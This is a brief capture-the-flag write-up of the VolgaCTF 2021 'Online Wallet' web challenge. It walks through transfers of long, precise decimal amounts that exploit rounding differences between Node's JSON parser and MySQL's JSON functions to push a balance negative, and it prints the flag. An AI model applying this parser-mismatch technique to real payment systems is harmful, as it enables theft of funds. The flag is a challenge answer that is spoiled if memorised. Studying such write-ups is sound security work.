# [Writeup] VolgaCTF 2021 Qualifier — Online Wallet (part 1) (Web 129 pt)
Withdraw money from your account

This is an online wallet. There is a function to create and transfer funds between accounts.
To be flagged, more than 150 or negative funds must be withdrawn from the account.


1 create wallet


2 Transfer token from Default Wallet to lnwza 99.98789745489548949849848974849841889494984984848498498419849849849484849494949849498494984985415418694865941895641851861896194189548941894198418941841984984984948484949494984949849498498541541869486594189564185186189619418954894189419841894184


3 Transfer from Default wallet to another 0.012102545104525575


4 press withdraw


VolgaCTF{3723759ca308887d334afe8074ec9c23}

Node JSON.parse(‘{“amount”:100000000000000000000000000000000000000000000000000000000000001E-60}’).amount 100 MySQL select json_extract(‘{“amount”:100000000000000000000000000000000000000000000000000000000000001E-60}’, ‘$.amount’); 100.00000000000001

Due to different roundings in parsing, it was possible to take the balance into minus (Round-off error)

Original writeup (https://github.com/lnwza777/ctf-writeups).